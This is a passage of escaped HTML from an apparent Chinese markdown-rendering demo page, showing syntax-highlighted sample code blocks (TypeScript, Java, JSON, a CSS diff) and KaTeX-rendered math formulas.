style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">2\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> }\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">]\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">export\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\"> function\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#D2A8FF\"> formatHeading\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">(\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#E36209;--shiki-dark:#FFA657\">text\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> string\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">)\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">:\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> string\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> {\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\"> return\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> text.\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#D2A8FF\">trim\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">().\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#D2A8FF\">toLowerCase\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">().\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#D2A8FF\">replace\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">(\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">\\s\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">+\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\u002F\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">g\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">, \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">'-'\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">)\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">}\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Cp>下面是 \u003Ccode>java\u003C\u002Fcode> 代码块:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"java\"\n data-code-language-label=\"Java\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Java\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\">\u002F**\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> * 文章摘要值对象。\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> * 作用:用于在接口层统一返回文章卡片所需的基础信息。\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> *\u002F\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\">public\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\"> class\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\"> PostSummaryResponse\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> {\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> \u002F**\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> * 文章标题。\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> *\u002F\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\"> private\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> String\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> title;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> \u002F**\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> * 文章摘要。\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6A737D;--shiki-dark:#8B949E\"> *\u002F\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#D73A49;--shiki-dark:#FF7B72\"> private\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> String\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> summary;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">}\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Cp>下面是 \u003Ccode>json\u003C\u002Fcode> 代码块:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"json\"\n data-code-language-label=\"JSON\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">JSON\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">{\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"code\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">0\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">,\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"message\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"success\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">,\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"data\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: {\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"id\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\">10001\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">,\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"title\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"Markdown 全格式渲染示例\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">,\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#7EE787\"> \"status\"\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">: \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">\"PUBLISHED\"\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> }\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\">}\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Cp>下面是 \u003Ccode>diff\u003C\u002Fcode> 代码块:\u003C\u002Fp>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"diff\"\n data-code-language-label=\"DIFF\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">DIFF\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan>- color: #999;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan>+ color: #111827;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan>- line-height: 1.6;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan>+ line-height: 1.85;\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Chr>\n\u003Ch2 id=\"数学公式\" tabindex=\"-1\">数学公式\u003C\u002Fh2>\n\u003Cp>行内公式测试:\u003Ceq>\u003Cspan class=\"katex\">\u003Cspan class=\"katex-html\" aria-hidden=\"true\">\u003Cspan class=\"base\">\u003Cspan class=\"strut\" style=\"height:0.6833em;\">\u003C\u002Fspan>\u003Cspan class=\"mord mathnormal\" style=\"margin-right:0.0576em;\">E\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.2778em;\">\u003C\u002Fspan>\u003Cspan class=\"mrel\">=\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.2778em;\">\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"base\">\u003Cspan class=\"strut\" style=\"height:0.8141em;\">\u003C\u002Fspan>\u003Cspan class=\"mord mathnormal\">m\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord mathnormal\">c\u003C\u002Fspan>\u003Cspan class=\"msupsub\">\u003Cspan class=\"vlist-t\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:0.8141em;\">\u003Cspan style=\"top:-3.063em;margin-right:0.05em;\">\u003Cspan class=\"pstrut\" style=\"height:2.7em;\">\u003C\u002Fspan>\u003Cspan class=\"sizing reset-size6 size3 mtight\">\u003Cspan class=\"mord mtight\">2\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Feq>\u003C\u002Fp>\n\u003Cp>块级公式测试:\u003C\u002Fp>\n\u003Csection>\u003Ceqn>\u003Cspan class=\"katex-display\">\u003Cspan class=\"katex\">\u003Cspan class=\"katex-html\" aria-hidden=\"true\">\u003Cspan class=\"base\">\u003Cspan class=\"strut\" style=\"height:2.476em;vertical-align:-0.9119em;\">\u003C\u002Fspan>\u003Cspan class=\"mop\">\u003Cspan class=\"mop op-symbol large-op\" style=\"margin-right:0.4445em;position:relative;top:-0.0011em;\">∫\u003C\u002Fspan>\u003Cspan class=\"msupsub\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.564em;\">\u003Cspan style=\"top:-1.7881em;margin-left:-0.4445em;margin-right:0.05em;\">\u003Cspan class=\"pstrut\" style=\"height:2.7em;\">\u003C\u002Fspan>\u003Cspan class=\"sizing reset-size6 size3 mtight\">\u003Cspan class=\"mord mtight\">0\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.8129em;margin-right:0.05em;\">\u003Cspan class=\"pstrut\" style=\"height:2.7em;\">\u003C\u002Fspan>\u003Cspan class=\"sizing reset-size6 size3 mtight\">\u003Cspan class=\"mord mtight\">1\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:0.9119em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.1667em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord mathnormal\">x\u003C\u002Fspan>\u003Cspan class=\"msupsub\">\u003Cspan class=\"vlist-t\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:0.8641em;\">\u003Cspan style=\"top:-3.113em;margin-right:0.05em;\">\u003Cspan class=\"pstrut\" style=\"height:2.7em;\">\u003C\u002Fspan>\u003Cspan class=\"sizing reset-size6 size3 mtight\">\u003Cspan class=\"mord mtight\">2\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.1667em;\">\u003C\u002Fspan>\u003Cspan class=\"mord mathnormal\">d\u003C\u002Fspan>\u003Cspan class=\"mord mathnormal\">x\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.2778em;\">\u003C\u002Fspan>\u003Cspan class=\"mrel\">=\u003C\u002Fspan>\u003Cspan class=\"mspace\" style=\"margin-right:0.2778em;\">\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"base\">\u003Cspan class=\"strut\" style=\"height:2.0074em;vertical-align:-0.686em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mopen nulldelimiter\">\u003C\u002Fspan>\u003Cspan class=\"mfrac\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.3214em;\">\u003Cspan style=\"top:-2.314em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">3\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.23em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"frac-line\" style=\"border-bottom-width:0.04em;\">\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.677em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">1\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:0.686em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"mclose nulldelimiter\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Feqn>\u003C\u002Fsection>\u003Cp>矩阵公式测试:\u003C\u002Fp>\n\u003Csection>\u003Ceqn>\u003Cspan class=\"katex-display\">\u003Cspan class=\"katex\">\u003Cspan class=\"katex-html\" aria-hidden=\"true\">\u003Cspan class=\"base\">\u003Cspan class=\"strut\" style=\"height:3.6em;vertical-align:-1.55em;\">\u003C\u002Fspan>\u003Cspan class=\"minner\">\u003Cspan class=\"mopen\">\u003Cspan class=\"delimsizing mult\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:2.05em;\">\u003Cspan style=\"top:-4.05em;\">\u003Cspan class=\"pstrut\" style=\"height:5.6em;\">\u003C\u002Fspan>\u003Cspan style=\"width:0.667em;height:3.6em;\">\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"0.667em\" height=\"3.6em\" viewBox=\"0 0 667 3600\">\u003Cpath d=\"M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84\nH403z M403 1759 V0 H319 V1759 v0 v1759 h84z\"\u002F>\u003C\u002Fsvg>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.55em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mtable\">\u003Cspan class=\"col-align-c\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:2.05em;\">\u003Cspan style=\"top:-4.21em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">1\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.01em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">4\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-1.81em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">7\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.55em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"arraycolsep\" style=\"width:0.5em;\">\u003C\u002Fspan>\u003Cspan class=\"arraycolsep\" style=\"width:0.5em;\">\u003C\u002Fspan>\u003Cspan class=\"col-align-c\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:2.05em;\">\u003Cspan style=\"top:-4.21em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">2\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.01em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">5\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-1.81em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">8\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.55em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"arraycolsep\" style=\"width:0.5em;\">\u003C\u002Fspan>\u003Cspan class=\"arraycolsep\" style=\"width:0.5em;\">\u003C\u002Fspan>\u003Cspan class=\"col-align-c\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:2.05em;\">\u003Cspan style=\"top:-4.21em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">3\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-3.01em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">6\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan style=\"top:-1.81em;\">\u003Cspan class=\"pstrut\" style=\"height:3em;\">\u003C\u002Fspan>\u003Cspan class=\"mord\">\u003Cspan class=\"mord\">9\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-s\">​\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:1.55em;\">\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan class=\"mclose\">\u003Cspan class=\"delimsizing mult\">\u003Cspan class=\"vlist-t vlist-t2\">\u003Cspan class=\"vlist-r\">\u003Cspan class=\"vlist\" style=\"height:2.05em;\">\u003Cspan style=\"top:-4.05em;\">\u003Cspan class=\"pstrut\" style=\"height:5.6em;\">\u003C\u002Fspan>\u003Cspan style=\"width:0.667em;height:3.6em;\">\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"0.667em\" height=\"3.6em\" viewBox=\"0 0 667 3600\">\u003Cpath d=\"M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347z\nM347 1759 V0 H263 V1759 v0 v1759 h84z\"\u002F>\u003C\u002Fsvg>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan 